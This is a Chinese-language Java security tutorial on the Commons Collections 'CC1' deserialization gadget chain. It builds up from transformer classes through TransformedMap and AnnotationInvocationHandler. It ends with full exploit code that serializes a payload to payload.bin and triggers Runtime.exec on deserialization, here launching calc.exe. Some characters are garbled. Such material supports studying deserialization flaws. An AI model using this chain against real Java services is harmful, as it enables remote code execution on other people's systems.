java安全-CC链1(小宇特详解)
CC链的前提是序列化和反序列化
序列化需要两个条件
-
该类必须实现java.io.Serlalizable 接口 -
该类的所有属性必须是可序列化的,如果?个属性是不可序列化的,则属性必须标明是短暂的。 比如:static,transient 修饰的变量不可被序列化
注意事项:
不能new 一个Runtime类
package com.CC1;
public class Demo {
public static void main(String[] args) {
Runtime runtime;
runtime = new Runtime();
}
}
Runtime是一个单例类,单例类是不能够进行new的。
CC链利用的类
CC链的原理就是利用反射获取类,放到readObject方法中
transform接口:
ConstantTransformer
作用:获取class对象
关键是调用transform方法
package com.CC1;
import org.apache.commons.collections.functors.ConstantTransformer;
public class Demo01 {
public static void main(String[] args) {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Object transform = constantTransformer.transform("null");
System.out.println(transform);
System.out.println(transform.getClass().getName());
}
}
invokeTransformer
把一个对象转换为另一个对象
他最常用的构造方法需要传递三个参数
第一个是methodNmae,方法
第二个是class的类型(有字符型和int型等)
第三个是方法参数
举例:methodName:“exec”,new Class[]{String.class},new Object[]{cmd}
它的transform方法
就是该类接收一个对象,获取该对象的名称(通过ConstantTransformer),然后调用invoke方法传入三个参数。
那如何形成链呢
ChainedTransformer
多 个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺 序调??系列的变换。
package com.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Demo03 {
public static void main(String[] args) {
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{cmd})
};
Transformer transformedChain = new ChainedTransformer(transformers);
transformedChain.transform(null);
}
}
上面的三个类就能够连起来使用
- ConstantTransformer --> 把?个对象转换为常量,并返回 ->获取到了Runtime.class
- InvokerTransformer --> 通过反射,返回?个对象 -> 反射获取执行方法加入参数
- ChainedTransformer -->执?链式的Transformer?法 ->将反射包含的数组进行链式调用,从而连贯起来
- 然后看那个对象能够接收ChainedTransformer方法
TransformedMap
这个就是为了解决上面的第4步
由于我们得到的是ChainedTransformer,一个转换链,TransformedMap类提供将map和转换链绑定的构造函数,只需要添加数据至map中就会自动调用这个转换链执行payload。
这样我们就可以把触发条件从显性的调用转换链的transform函数延伸到修改map的值。很明显后者是一个常规操作,极有可能被触发。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
Transformer实现类分别 绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。
我们可以把chainedtransformer 绑定到一个TransformedMap 上,当此map的key或value发生改变时(调用TransformedMap 的setValue/put/putAll 中的任意方法),就会自动触发chainedtransformer 。
package com.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Demo04 {
public static void main(String[] args) {
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{cmd})
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "value");
Map transformedMap = TransformedMap.decorate(map, null,
transformedChain);
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;
entry.setValue("test");
}
}
}
TransformedMap 的条件
- 实现了
java.io.Serializable 接口; - 并且可以传入我们构建的
TransformedMap 对象; - 调用了
TransformedMap 中的setValue/put/putAll 中的任意方法一个方法的类;
AnnotationInvocationHandler
上面的漏洞触发条件仍然不够完美,需要服务端把我们传入的序列化内容反序列化为map,并对值进行修改。 之前也说过完美的反序列化漏洞还需要一个readobject复写点,使只要服务端执行了readObject函数就等于命令执行。
在jdk1.7中就存在一个完美的readobject复写点的类sun.reflect.annotation.AnnotationInvocationHandler 。
LazyMap
这里使用的map类是LazyMap 类
因为里面的get方法正好符合put去调用transform的情况
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
但是我们还需要一个类在反序列化的时候触发LazyMap类的get方法
借助AnnotationInvocationHandler类,通过AnnotationInvocationHandler类的构造方法将LazyMap传递给memberValues,也就是说我们要获得AnnotationInvocationHandler的构造器。
public Object invoke(Object var1, Method var2, Object[] var3) {
Object var6 = this.memberValues.get(var4);
}
AnnotationInvocationHandler中的invoke方法调用了get方法
通过反射将代理对象proxyMap传给AnnotationInvocationHandler的构造方法
最终攻击代码
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
fin.readObject();
}
|